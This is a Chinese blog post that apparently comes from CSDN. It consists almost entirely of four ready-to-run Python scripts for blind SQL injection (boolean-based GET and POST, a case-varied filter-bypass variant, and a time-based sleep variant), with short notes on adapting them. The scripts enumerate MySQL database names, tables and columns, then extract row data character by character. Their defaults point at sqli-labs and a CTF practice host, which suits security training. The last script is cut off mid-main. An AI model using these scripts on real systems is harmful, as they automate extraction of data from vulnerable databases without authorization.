Python脚本-时间盲注

已于 2023-11-27 00:52:48 修改
阅读量1k 收藏 3
点赞数 3
文章标签： Python时间盲注脚本
于 2023-09-23 16:57:43 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_74317362/article/details/132068092
版权

BlindBool_get

import requests
from optparse import OptionParser
import threading

#存放变量
DBName = ""
DBTables = []
DBColumns = []
DBData = {}
flag = 'You are in'
#设置重连次数以及将连接改为短连接
#防止因为HTTP连接数过多导致的MAX retries exceeded with url问题
requests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False

def GetDBName(url):
    #引用全局变量DBName,用来存放数据库名
    global DBName
    print('[*]开始获取数据库名长度')
    #保存数据库名长度的变量
    DBNameLen = 0
    #检查数据库名的长度的payload
    payload1 = "' and if(length(database())={0},1,0) --+"
    targetUrl = url + payload1
    for DBNameLen in range(1,99):
        res = conn.get(targetUrl.format(DBNameLen))
        if flag in res.content.decode("utf-8"):
            print("[*] 数据库名长度：" + str(DBNameLen))
            break
    print("[*]开始获取数据库名")
    payload1 = "' and if(ascii(substr(database(),{0},1))={1},1,0) --+"
    targetUrl = url+payload1
    for a in range(1,DBNameLen+1):
        for item in range(33,128):
            res = conn.get(targetUrl.format(a,item))
            if flag in res.content.decode('utf-8'):
                DBName += chr(item)
                print("[*]"+DBName)
                break

def GetDBTables(url,dbname):
    global DBTables
    DBTableCount = 0
    print("[*] 开始获取{0}数据库表数量:".format(dbname))
    #获取表名数量的payload
    payload2 = "' and if((select count(*)table_name from information_schema.tables where table_schema='{0}')={1},1,0) --+"
    targetUrl = url + payload2
    for DBTableCount in range(1,100):
        res = conn.get(targetUrl.format(dbname,DBTableCount))
        if flag in res.content.decode("utf-8"):
            print("[*]{0}数据库中表的数量为:{1}".format(dbname,DBTableCount))
            break

    print("[*] 开始获取{0}数据库中的表名".format(dbname))
    tableLen = 0
    for a in range(0,DBTableCount):
        print("[*] 正在获取第{0}个表名".format(a+1))
        #获取当前表名的长度
        for tableLen in range(1,99):
            payload2 = "' and if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0) --+"
            targetUrl = url + payload2
            res = conn.get(targetUrl.format(dbname,a,tableLen))
            if flag in res.content.decode("utf-8"):
                break
        #开始获取表名
        #临时存放当前表名的变量
        table = ""
        #b表示当前表名猜的位置
        for b in range(1,tableLen+1):
            payload2 = "' and if(ascii(substr((select table_name from information_schema.tables where table_schema = '{0}' limit {1},1),{2},1))={3},1,0) --+"
            targetUrl = url + payload2
            for c in range(33,128):
                res = conn.get(targetUrl.format(dbname,a,b,c))
                if flag in res.content.decode('utf-8'):
                    table += chr(c)
                    print(table)
                    break
        #把获取到的表名加入DBTables
        DBTables.append(table)
        #清空table,用来获取下一个表名
        table = ''

def GetDBColumns(url,dbname,dbtable):
    global DBColumns
    DBColumnCount = 0
    #获取字段数量的payload
    print("[-]开始获取{0}数据表的字段数:".format(dbtable))
    for DBColumnCount in range(0,99):
        payload3 = "' and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0) --+"
        targetUrl = url + payload3
        res = conn.get(targetUrl.format(dbname,dbtable,DBColumnCount))
        if flag in res.content.decode('utf-8'):
            print("[*] {0}数据库中的{1}表的字段个数为{2}个:".format(dbname,dbtable,DBColumnCount))
            break
    #得到字段数量后开始获取字段名
    columns = ''
    for a in range(0,DBColumnCount):
        print("正在获取第{0}个字段的长度和名称:".format(a+1))
        #获取长度
        for columnLen in range(0,99):
            payload3 = "' and if((select LENGTH(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0) --+"
            targetUrl = url + payload3
            res = conn.get(targetUrl.format(dbname,dbtable,a,columnLen))
            if flag in res.content.decode('utf-8'):
                break
        #b标志字段中位置
        for b in range(0,columnLen+1):
            payload3 = "' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0) --+"
            targetUrl = url + payload3
            for c in range(33,128):
                res = conn.get(targetUrl.format(dbname,dbtable,a,b,c))
                if flag in res.content.decode('utf-8'):
                    columns += chr(c)
                    print(columns)
                    break
        #获取到的字段放入DBColumns
        DBColumns.append(columns)
        columns = ''

# 获取表数据函数
def GetDBData(url, dbtable, dbcolumn):
	global DBData
	# 先获取字段数据数量
	DBDataCount = 0
	print("[-]开始获取{0}表{1}字段的数据数量".format(dbtable, dbcolumn))
	for DBDataCount in range(99):
		payload = "'and if ((select count({0}) from {1})={2},1,0) --+"
		targetUrl = url + payload
		res = conn.get(targetUrl.format(dbcolumn, dbtable, DBDataCount))
		if flag in res.content.decode("utf-8"):
			print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable, dbcolumn, DBDataCount))
			break
	for a in range(0, DBDataCount):
		print("[-]正在获取{0}的第{1}个数据".format(dbcolumn, a+1))
		#先获取这个数据的长度
		dataLen = 0
		for dataLen in range(99):
			payload = "'and if ((select length({0}) from {1} limit {2},1)={3},1,0) --+"
			targetUrl = url + payload
			res = conn.get(targetUrl.format(dbcolumn, dbtable, a, dataLen))
			if flag in res.content.decode("utf-8"):
				print("[-]第{0}个数据长度为:{1}".format(a+1, dataLen))
				break
		#临时存放数据内容变量
		data = ""
		#开始获取数据的具体内容
		#b表示当前数据内容猜解的位置
		for b in range(1, dataLen+1):
			for c in range(33, 128):
				payload = "'and if (ascii(substr((select {0} from {1} limit {2},1),{3},1))={4},1,0) --+"
				targetUrl = url + payload
				res = conn.get(targetUrl.format(dbcolumn, dbtable, a, b, c))
				if flag in res.content.decode("utf-8"):
					data += chr(c)
					print(data)
					break
		#放到以字段名为键，值为列表的字典中存放
		DBData.setdefault(dbcolumn,[]).append(data)
		print(DBData)
		#把data清空来，继续获取下一个数据
		data = ""

# 盲注主函数
def StartSqli(url):
	GetDBName(url)
	print("[+]当前数据库名:{0}".format(DBName))
	GetDBTables(url,DBName)
	print("[+]数据库{0}的表如下:".format(DBName))
	for item in range(len(DBTables)):
		print("(" + str(item + 1) + ")" + DBTables[item])
	tableIndex = int(input("[*]请输入要查看表的序号:")) - 1
	GetDBColumns(url,DBName,DBTables[tableIndex])
	while True:
		print("[+]数据表{0}的字段如下:".format(DBTables[tableIndex]))
		for item in range(len(DBColumns)):
			print("(" + str(item + 1) + ")" + DBColumns[item])
		columnIndex = int(input("[*]请输入要查看字段的序号(输入0退出):"))-1
		if(columnIndex == -1):
			break
		else:
			GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])

if __name__ == "__main__":
    try:
        usage = "./BlindBool_get.py -u url"
        parser = OptionParser(usage)
        parser.add_option('-u',type='string',dest='url',default='http://localhost/Less-8/?id=1',help='设置目标url')
        options,args=parser.parse_args()
        url = options.url
        # StartSqli(options.url)
        threadSQL = threading.Thread(target=StartSqli,args=(url,))
        threadSQL.start()
    except KeyboardInterrupt:
        print('Interrupted by keyboard inputting!!!')

BlindBool_get-修改过的（大小写过滤）

import requests
from optparse import OptionParser
import threading
import time

# 存放变量
DBName = ""
DBTables = []
DBColumns = []
DBData = {}
flag = 'points'
# 设置重连次数以及将连接改为短连接
# 防止因为HTTP连接数过多导致的MAX retries exceeded with url问题
requests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False


def GetDBName(url):
    # 引用全局变量DBName,用来存放数据库名
    global DBName
    print('[*]开始获取数据库名长度')
    # 保存数据库名长度的变量
    DBNameLen = 0
    # 检查数据库名的长度的payload
    payload1 = "' AND if(length(database())={0},1,0) --+"
    targetUrl = url + payload1
    for DBNameLen in range(1, 99):
        time.sleep(0.2)
        res = conn.get(targetUrl.format(DBNameLen))
        if flag in res.content.decode("utf-8"):
            print("[*] 数据库名长度：" + str(DBNameLen))
            break
    print("[*]开始获取数据库名")
    payload1 = "' AND if(Ascii(Substr(Database(),{0},1))={1},1,0) --+"
    targetUrl = url + payload1
    for a in range(1, DBNameLen + 1):
        for item in range(33, 128):
            time.sleep(0.2)
            res = conn.get(targetUrl.format(a, item))
            if flag in res.content.decode('utf-8'):
                DBName += chr(item)
                print("[*]" + DBName)
                break


def GetDBTables(url, dbname):
    global DBTables
    DBTableCount = 0
    print("[*] 开始获取{0}数据库表数量:".format(dbname))
    # 获取表名数量的payload
    payload2 = "' And If((Select Count(*)Table_Name From InfOrmation_Schema.Tables Where Table_Schema='{0}')={1},1,0) --+"
    targetUrl = url + payload2
    for DBTableCount in range(1, 100):
        time.sleep(0.2)
        res = conn.get(targetUrl.format(dbname, DBTableCount))
        if flag in res.content.decode("utf-8"):
            print("[*]{0}数据库中表的数量为:{1}".format(dbname, DBTableCount))
            break

    print("[*] 开始获取{0}数据库中的表名".format(dbname))
    tableLen = 0
    for a in range(0, DBTableCount):
        print("[*] 正在获取第{0}个表名".format(a + 1))
        # 获取当前表名的长度
        for tableLen in range(1, 99):
            time.sleep(0.2)
            payload2 = "' And if((Select LENGTH(Table_name) From infOrmation_schema.tables Where table_schema='{0}' limit {1},1)={2},1,0) --+"
            targetUrl = url + payload2
            res = conn.get(targetUrl.format(dbname, a, tableLen))
            if flag in res.content.decode("utf-8"):
                break
        # 开始获取表名
        # 临时存放当前表名的变量
        table = ""
        # b表示当前表名猜的位置
        for b in range(1, tableLen + 1):
            payload2 = "' And if(Ascii(Substr((Select Table_name From infOrmation_schema.tables Where Table_schema = '{0}' Limit {1},1),{2},1))={3},1,0) --+"
            targetUrl = url + payload2
            for c in range(33, 128):
                time.sleep(0.2)
                res = conn.get(targetUrl.format(dbname, a, b, c))
                if flag in res.content.decode('utf-8'):
                    table += chr(c)
                    print(table)
                    break
        # 把获取到的表名加入DBTables
        DBTables.append(table)
        # 清空table,用来获取下一个表名
        table = ''


def GetDBColumns(url, dbname, dbtable):
    global DBColumns
    DBColumnCount = 0
    # 获取字段数量的payload
    print("[-]开始获取{0}数据表的字段数:".format(dbtable))
    for DBColumnCount in range(0, 99):
        payload3 = "' AND IF((SELECT COUNT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='{0}' AND TABLE_NAME='{1}')={2},1,0) --+"
        targetUrl = url + payload3
        time.sleep(0.2)
        res = conn.get(targetUrl.format(dbname, dbtable, DBColumnCount))
        if flag in res.content.decode('utf-8'):
            print("[*] {0}数据库中的{1}表的字段个数为{2}个:".format(dbname, dbtable, DBColumnCount))
            break
    # 得到字段数量后开始获取字段名
    columns = ''
    for a in range(0, DBColumnCount):
        print("正在获取第{0}个字段的长度和名称:".format(a + 1))
        # 获取长度
        for columnLen in range(0, 99):
            time.sleep(0.2)
            payload3 = "' AND IF((SELECT LENGTH(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='{0}' AND TABLE_NAME='{1}' LIMIT {2},1)={3},1,0) --+"
            targetUrl = url + payload3
            res = conn.get(targetUrl.format(dbname, dbtable, a, columnLen))
            if flag in res.content.decode('utf-8'):
                break
        # b标志字段中位置
        for b in range(0, columnLen + 1):
            payload3 = "' AND IF(ASCII(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='{0}' AND TABLE_NAME='{1}' LIMIT {2},1),{3},1))={4},1,0) --+"
            targetUrl = url + payload3
            for c in range(33, 128):
                time.sleep(0.2)
                res = conn.get(targetUrl.format(dbname, dbtable, a, b, c))
                if flag in res.content.decode('utf-8'):
                    columns += chr(c)
                    print(columns)
                    break
        # 获取到的字段放入DBColumns
        DBColumns.append(columns)
        columns = ''


# 获取表数据函数
def GetDBData(url, dbtable, dbcolumn):
    global DBData
    # 先获取字段数据数量
    DBDataCount = 0
    print("[-]开始获取{0}表{1}字段的数据数量".format(dbtable, dbcolumn))
    for DBDataCount in range(99):
        time.sleep(0.2)
        payload = "'AND IF ((SELECT COUNT({0}) FROM {1})={2},1,0) --+"
        targetUrl = url + payload
        res = conn.get(targetUrl.format(dbcolumn, dbtable, DBDataCount))
        if flag in res.content.decode("utf-8"):
            print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable, dbcolumn, DBDataCount))
            break
    for a in range(0, DBDataCount):
        print("[-]正在获取{0}的第{1}个数据".format(dbcolumn, a + 1))
        # 先获取这个数据的长度
        dataLen = 0
        for dataLen in range(99):
            time.sleep(0.2)
            payload = "'AND IF ((SELECT LENGTH({0}) FROM {1} LIMIT {2},1)={3},1,0) --+"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbcolumn, dbtable, a, dataLen))
            if flag in res.content.decode("utf-8"):
                print("[-]第{0}个数据长度为:{1}".format(a + 1, dataLen))
                break
        # 临时存放数据内容变量
        data = ""
        # 开始获取数据的具体内容
        # b表示当前数据内容猜解的位置
        for b in range(1, dataLen + 1):
            for c in range(33, 128):
                time.sleep(0.2)
                payload = "'AND IF (ASCII(SUBSTR((SELECT {0} FROM {1} LIMIT {2},1),{3},1))={4},1,0) --+"
                targetUrl = url + payload
                res = conn.get(targetUrl.format(dbcolumn, dbtable, a, b, c))
                if flag in res.content.decode("utf-8"):
                    data += chr(c)
                    print(data)
                    break
        # 放到以字段名为键，值为列表的字典中存放
        DBData.setdefault(dbcolumn, []).append(data)
        print(DBData)
        # 把data清空来，继续获取下一个数据
        data = ""


# 盲注主函数
def StartSqli(url):
    GetDBName(url)
    print("[+]当前数据库名:{0}".format(DBName))
    GetDBTables(url, DBName)
    print("[+]数据库{0}的表如下:".format(DBName))
    for item in range(len(DBTables)):
        print("(" + str(item + 1) + ")" + DBTables[item])
    tableIndex = int(input("[*]请输入要查看表的序号:")) - 1
    GetDBColumns(url, DBName, DBTables[tableIndex])
    while True:
        print("[+]数据表{0}的字段如下:".format(DBTables[tableIndex]))
        for item in range(len(DBColumns)):
            print("(" + str(item + 1) + ")" + DBColumns[item])
        columnIndex = int(input("[*]请输入要查看字段的序号(输入0退出):")) - 1
        if (columnIndex == -1):
            break
        else:
            GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])


if __name__ == "__main__":
    try:
        usage = "./BlindBool_get.py -u url"
        parser = OptionParser(usage)
        parser.add_option('-u', type='string', dest='url',
                          default='http://ad508a79-8b81-4227-bc6f-37d173ce8209.node4.buuoj.cn:81/?id=TMP0919',
                          help='设置目标url')
        options, args = parser.parse_args()
        url = options.url
        # StartSqli(options.url)
        threadSQL = threading.Thread(target=StartSqli, args=(url,))
        threadSQL.start()
    except KeyboardInterrupt:
        print('Interrupted by keyboard inputting!!!')

修改的地方:

payload
flag(页面对应的字符)
添加了time.sleep(0.2)
default
修改时要注意间隔

BlindBool_post

import requests
from optparse import OptionParser
import threading

#存放变量
DBName = ""
DBTables = []
DBColumns = []
DBData = {}
flag = 'flag'
#设置重连次数以及将连接改为短连接
#防止因为HTTP连接数过多导致的MAX retries exceeded with url问题
requests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False

def GetDBName(url):
    #引用全局变量DBName,用来存放数据库名
    global DBName
    print('[*]开始获取数据库名长度')
    #保存数据库名长度的变量
    DBNameLen = 0
    #检查数据库名的长度的payload
    # payload1 = "' and if(length(database())={0},1,0) #"
    for DBNameLen in range(1,99):
        payload = "admin' and if(length(database())="+str(DBNameLen)+",1,0) #"
        data = {
            'uname':payload,
            'passwd':'admin',
            'submit':'Submit',
        }
        res = conn.post(url,data=data)
        if flag in res.content.decode("utf-8"):
            print("[*] 数据库名长度：" + str(DBNameLen))
            break
    print("[*]开始获取数据库名")
    for a in range(1,DBNameLen+1):
        for item in range(33,128):
            payload = "admin' and if(ascii(substr(database(),"+str(a)+",1))="+str(item)+",1,0) #"
            data = {
                'uname':payload,
                'passwd':'admin',
                'submit':'Submit',
            }
            res = conn.post(url,data=data)
            if flag in res.content.decode('utf-8'):
                DBName += chr(item)
                print("[*]"+DBName)
                break

def GetDBTables(url,dbname):
    global DBTables
    DBTableCount = 0
    print("[*] 开始获取{0}数据库表数量:".format(dbname))
    #获取表名数量的payload
    # payload2 = "' and if((select count(*)table_name from information_schema.tables where table_schema='{0}')={1},1,0) #"
    for DBTableCount in range(1,100):
        payload = "admin' and if((select count(*)table_name from information_schema.tables where table_schema='"+dbname+"')="+str(DBTableCount)+",1,0) #"
        data = {
                'uname':payload,
                'passwd':'admin',
                'submit':'Submit',
            }
        res = conn.post(url,data=data)
        if flag in res.content.decode("utf-8"):
            print("[*]{0}数据库中表的数量为:{1}".format(dbname,DBTableCount))
            break
    print("[*] 开始获取{0}数据库中的表名".format(dbname))
    tableLen = 0
    for a in range(0,DBTableCount):
        print("[*] 正在获取第{0}个表名".format(a+1))
        #获取当前表名的长度
        for tableLen in range(1,99):
            payload = "admin' and if((select LENGTH(table_name) from information_schema.tables where table_schema='"+dbname+"' limit "+str(a)+",1)="+str(tableLen)+",1,0) #"
            data = {
                'uname':payload,
                'passwd':'admin',
                'submit':'Submit',
            }
            res = conn.post(url,data=data)
            if flag in res.content.decode("utf-8"):
                break
        #开始获取表名
        #临时存放当前表名的变量
        table = ""
        #b表示当前表名猜的位置
        for b in range(1,tableLen+1):
            for c in range(33,128):
                payload = "admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema = '"+dbname+"' limit "+str(a)+",1),"+str(b)+",1))="+str(c)+",1,0) #"
                data = {
                'uname':payload,
                'passwd':'admin',
                'submit':'Submit',
                }
                res = conn.post(url,data=data)
                if flag in res.content.decode('utf-8'):
                    table += chr(c)
                    print(table)
                    break
        #把获取到的表名加入DBTables
        DBTables.append(table)
        #清空table,用来获取下一个表名
        table = ''

def GetDBColumns(url,dbname,dbtable):
    global DBColumns
    DBColumnCount = 0
    #获取字段数量的payload
    print("[-]开始获取{0}数据表的字段数:".format(dbtable))
    for DBColumnCount in range(0,99):
        payload = "admin' and if((select count(column_name) from information_schema.columns where table_schema='"+dbname+"' and table_name='"+dbtable+"')="+str(DBColumnCount)+",1,0) #"
        data = {
                'uname':payload,
                'passwd':'admin',
                'submit':'Submit',
                }
        res = conn.post(url,data=data)
        if flag in res.content.decode('utf-8'):
            print("[*] {0}数据库中的{1}表的字段个数为{2}个:".format(dbname,dbtable,DBColumnCount))
            break
    #得到字段数量后开始获取字段名
    columns = ''
    for a in range(0,DBColumnCount):
        print("正在获取第{0}个字段的长度和名称:".format(a+1))
        #获取长度
        for columnLen in range(0,99):
            payload = "admin' and if((select LENGTH(column_name) from information_schema.columns where table_schema='"+dbname+"' and table_name='"+dbtable+"' limit "+str(a)+",1)="+str(columnLen)+",1,0) #"
            data = {
                'uname':payload,
                'passwd':'admin',
                'submit':'Submit',
                }
            res = conn.post(url,data=data)
            if flag in res.content.decode('utf-8'):
                break
        #b标志字段中位置
        for b in range(0,columnLen+1):
            for c in range(33,128):
                payload = "admin' and if(ascii(substr((select column_name from information_schema.columns where table_schema='"+dbname+"' and table_name='"+dbtable+"' limit "+str(a)+",1),"+str(b)+",1))="+str(c)+",1,0) #"
                data = {
                'uname':payload,
                'passwd':'admin',
                'submit':'Submit',
                }
                res = conn.post(url,data=data)
                if flag in res.content.decode('utf-8'):
                    columns += chr(c)
                    print(columns)
                    break
        #获取到的字段放入DBColumns
        DBColumns.append(columns)
        columns = ''

# 获取表数据函数
def GetDBData(url, dbtable, dbcolumn):
    global DBData
    # 先获取字段数据数量
    DBDataCount = 0
    print("[-]开始获取{0}表{1}字段的数据数量".format(dbtable, dbcolumn))
    for DBDataCount in range(99):
        payload = "admin' and if ((select count("+dbcolumn+") from "+dbtable+")="+str(DBDataCount)+",1,0) #"
        data = {
            'uname':payload,
            'passwd':'admin',
            'submit':'Submit',
        }
        res = conn.post(url,data=data)
        if flag in res.content.decode("utf-8"):
            print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable, dbcolumn, DBDataCount))
            break
    for a in range(0, DBDataCount):
        print("[-]正在获取{0}的第{1}个数据".format(dbcolumn, a+1))
        #先获取这个数据的长度
        dataLen = 0
        for dataLen in range(99):
            payload = "admin' and if ((select length("+dbcolumn+") from "+dbtable+" limit "+str(a)+",1)="+str(dataLen)+",1,0) #"
            data = {
                'uname':payload,
                'passwd':'admin',
                'submit':'Submit',
            }
            res = conn.post(url,data=data)
            if flag in res.content.decode("utf-8"):
                print("[-]第{0}个数据长度为:{1}".format(a+1, dataLen))
                break
        #临时存放数据内容变量
        data1 = ""
        #开始获取数据的具体内容
        #b表示当前数据内容猜解的位置
        for b in range(1, dataLen+1):
            for c in range(33, 128):
                payload = "admin' and if (ascii(substr((select "+dbcolumn+" from "+dbtable+" limit "+str(a)+",1),"+str(b)+",1))="+str(c)+",1,0) #"
                data = {
                    'uname':payload,
                    'passwd':'admin',
                    'submit':'Submit',
                }
                res = conn.post(url,data=data)
                if flag in res.content.decode("utf-8"):
                    data1 += chr(c)
                    print(data1)
                    break
        #放到以字段名为键，值为列表的字典中存放
        DBData.setdefault(dbcolumn,[]).append(data1)
        print(DBData)
        #把data清空来，继续获取下一个数据
        data1 = ""

# 盲注主函数
def StartSqli(url):
    GetDBName(url)
    print("[+]当前数据库名:{0}".format(DBName))
    GetDBTables(url,DBName)
    print("[+]数据库{0}的表如下:".format(DBName))
    for item in range(len(DBTables)):
        print("(" + str(item + 1) + ")" + DBTables[item])
    tableIndex = int(input("[*]请输入要查看表的序号:")) - 1
    GetDBColumns(url,DBName,DBTables[tableIndex])
    while True:
        print("[+]数据表{0}的字段如下:".format(DBTables[tableIndex]))
        for item in range(len(DBColumns)):
            print("(" + str(item + 1) + ")" + DBColumns[item])
        columnIndex = int(input("[*]请输入要查看字段的序号(输入0退出):"))-1
        if(columnIndex == -1):
            break
        else:
            GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])

if __name__ == "__main__":
    try:
        usage = "./BlindBool_post.py -u url"
        parser = OptionParser(usage)
        parser.add_option('-u',type='string',dest='url',default='http://localhost/Less-15',help='设置目标url')
        options,args=parser.parse_args()
        url = options.url
        # StartSqli(options.url)
        threadSQL = threading.Thread(target=StartSqli,args=(url,))
        threadSQL.start()
    except KeyboardInterrupt:
        print('Interrupted by keyboard inputting!!!')

BlindTime_get

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import requests
from optparse import OptionParser
import time
import threading


# 存放数据库名变量
DBName = ""
# 存放数据库表变量
DBTables = []
# 存放数据库字段变量
DBColumns = []
# 存放数据字典变量,键为字段名，值为字段数据列表
DBData = {}

# 设置重连次数以及将连接改为短连接
# 防止因为HTTP连接数过多导致的 Max retries exceeded with url
requests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False


# 盲注主函数
def StartSqli(url):
	GetDBName(url)
	print("[+]当前数据库名:{0}".format(DBName))
	GetDBTables(url,DBName)
	print("[+]数据库{0}的表如下:".format(DBName))
	for item in range(len(DBTables)):
		print("(" + str(item + 1) + ")" + DBTables[item])
	tableIndex = int(input("[*]请输入要查看表的序号:")) - 1
	GetDBColumns(url,DBName,DBTables[tableIndex])
	while True:
		print("[+]数据表{0}的字段如下:".format(DBTables[tableIndex]))
		for item in range(len(DBColumns)):
			print("(" + str(item + 1) + ")" + DBColumns[item])
		columnIndex = int(input("[*]请输入要查看字段的序号(输入0退出):"))-1
		if(columnIndex == -1):
			break
		else:
			GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])


# 获取数据库名函数
def GetDBName(url):
	# 引用全局变量DBName,用来存放网页当前使用的数据库名
	global DBName
	print("[-]开始获取数据库名长度")
	# 保存数据库名长度变量
	DBNameLen = 0
	# 用于检查数据库名长度的payload
	payload = "' and if(length(database())={0},sleep(5),0) --+"
	# 把URL和payload进行拼接得到最终的请求URL
	targetUrl = url + payload
	# 用for循环来遍历请求，得到数据库名长度
	for DBNameLen in range(1, 99):
		# 开始时间
		timeStart = time.time()
		# 开始访问
		res = conn.get(targetUrl.format(DBNameLen))
		# 结束时间
		timeEnd = time.time()
		# 判断时间差
		if timeEnd - timeStart >= 5:
			print("[+]数据库名长度:" + str(DBNameLen))
			break
	print("[-]开始获取数据库名")
	payload = "' and if(ascii(substr(database(),{0},1))={1},sleep(5),0)--+"
	targetUrl = url + payload
	# a表示substr()函数的截取起始位置
	for a in range(1, DBNameLen+1):
		# b表示33~127位ASCII中可显示字符
		for b in range(33, 128):
			timeStart = time.time()
			res = conn.get(targetUrl.format(a,b))
			timeEnd = time.time()
			if timeEnd - timeStart >= 5:
				DBName += chr(b)
				print("[-]"+ DBName)
				break


#获取数据库表函数
def GetDBTables(url, dbname):
	global DBTables
	#存放数据库表数量的变量
	DBTableCount = 0
	print("[-]开始获取{0}数据库表数量:".format(dbname))
	#获取数据库表数量的payload
	payload = "' and if((select count(table_name) from information_schema.tables where table_schema='{0}' )={1},sleep(5),0) --+"
	targetUrl = url + payload
	#开始遍历获取数据库表的数量
	for DBTableCount in range(1, 99):
		timeStart = time.time()
		res = conn.get(targetUrl.format(dbname, DBTableCount))
		timeEnd = time.time()
		if timeEnd - timeStart >= 5:
			print("[+]{0}数据库的表数量为:{1}".format(dbname, DBTableCount))
			break
	print("[-]开始获取{0}数据库的表".format(dbname))
	# 遍历表名时临时存放表名长度变量
	tableLen = 0
	# a表示当前正在获取表的索引
	for a in range(0,DBTableCount):
		print("[-]正在获取第{0}个表名".format(a+1))
		# 先获取当前表名的长度
		for tableLen in range(1, 99):
			payload = "' and if((select length(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},sleep(5),0) --+"
			targetUrl = url + payload
			timeStart = time.time()
			res = conn.get(targetUrl.format(dbname, a, tableLen))
			timeEnd = time.time()
			if timeEnd - timeStart >= 5:
				break
		# 开始获取表名
		# 临时存放当前表名的变量
		table = ""
		# b表示当前表名猜解的位置
		for b in range(1, tableLen+1):
			payload = "' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1))={3},sleep(5),0)--+"
			targetUrl = url + payload
			# c表示33~127位ASCII中可显示字符
			for c in range(33, 128):
				timeStart = time.time()
				res = conn.get(targetUrl.format(dbname, a, b, c))
				timeEnd = time.time()
				if timeEnd - timeStart >= 5:
					table += chr(c)
					print(table)
					break
		#把获取到的名加入到DBTables
		DBTables.append(table)
		#清空table，用来继续获取下一个表名
		table = ""


# 获取数据库表的字段函数
def GetDBColumns(url, dbname, dbtable):
	global DBColumns
	# 存放字段数量的变量
	DBColumnCount = 0
	print("[-]开始获取{0}数据表的字段数:".format(dbtable))
	for DBColumnCount in range(99):
		payload = "' and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},sleep(5),0) --+"
		targetUrl = url + payload
		timeStart = time.time()
		res = conn.get(targetUrl.format(dbname, dbtable, DBColumnCount))
		timeEnd = time.time()
		if timeEnd - timeStart >= 5:
			print("[-]{0}数据表的字段数为:{1}".format(dbtable, DBColumnCount))
			break
	# 开始获取字段的名称
	# 保存字段名的临时变量
	column = ""
	# a表示当前获取字段的索引
	for a in range(0, DBColumnCount):
		print("[-]正在获取第{0}个字段名".format(a+1))
		# 先获取字段的长度
		for columnLen in range(99):
			payload = "' and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},sleep(5),0) --+"
			targetUrl = url + payload
			timeStart = time.time()
			res = conn.get(targetUrl.format(dbname, dbtable, a, columnLen))
			timeEnd = time.time()
			if timeEnd - timeStart >= 5:
				break
		# b表示当前字段名猜解的位置
		for b in range(1, columnLen+1):
			payload = "' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1),{3},1))={4},sleep(5),0) --+"
			targetUrl = url + payload
			# c表示33~127位ASCII中可显示字符
			for c in range(33, 128):
				timeStart = time.time()
				res = conn.get(targetUrl.format(dbname, dbtable, a, b, c))
				timeEnd = time.time()
				if timeEnd - timeStart >= 5:
					column += chr(c)
					print(column)
					break
		# 把获取到的名加入到DBColumns
		DBColumns.append(column)
		#清空column，用来继续获取下一个字段名
		column = ""


# 获取表数据函数
def GetDBData(url, dbtable, dbcolumn):
	global DBData
	# 先获取字段数据数量
	DBDataCount = 0
	print("[-]开始获取{0}表{1}字段的数据数量".format(dbtable, dbcolumn))
	for DBDataCount in range(99):
		payload = "' and if((select count({0}) from {1})={2},sleep(5),0) --+"
		targetUrl = url + payload
		timeStart = time.time()
		res = conn.get(targetUrl.format(dbcolumn, dbtable, DBDataCount))
		timeEnd = time.time()
		if timeEnd - timeStart >= 5:
			print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable, dbcolumn, DBDataCount))
			break
	for a in range(0, DBDataCount):
		print("[-]正在获取{0}的第{1}个数据".format(dbcolumn, a+1))
		#先获取这个数据的长度
		dataLen = 0
		for dataLen in range(99):
			payload = "'and  if((select length({0}) from {1} limit {2},1)={3},sleep(5),0) --+"
			targetUrl = url + payload
			timeStart = time.time()
			res = conn.get(targetUrl.format(dbcolumn, dbtable, a, dataLen))
			timeEnd = time.time()
			if timeEnd - timeStart >= 5:
				print("[-]第{0}个数据长度为:{1}".format(a+1, dataLen))
				break
		#临时存放数据内容变量
		data = ""
		#开始获取数据的具体内容
		#b表示当前数据内容猜解的位置
		for b in range(1, dataLen+1):
			for c in range(33, 128):
				payload = "' and  if(ascii(substr((select {0} from {1} limit {2},1),{3},1))={4},sleep(5),0) --+"
				targetUrl = url + payload
				timeStart = time.time()
				res = conn.get(targetUrl.format(dbcolumn, dbtable, a, b, c))
				timeEnd = time.time()
				if timeEnd - timeStart >= 5:
					data += chr(c)
					print(data)
					break
		#放到以字段名为键，值为列表的字典中存放
		DBData.setdefault(dbcolumn,[]).append(data)
		print(DBData)
		#把data清空来，继续获取下一个数据
		data = ""


if __name__ == '__main__':
	try:
		usage = "./BlindTime_get.py -u url"
		parser = OptionParser(usage)
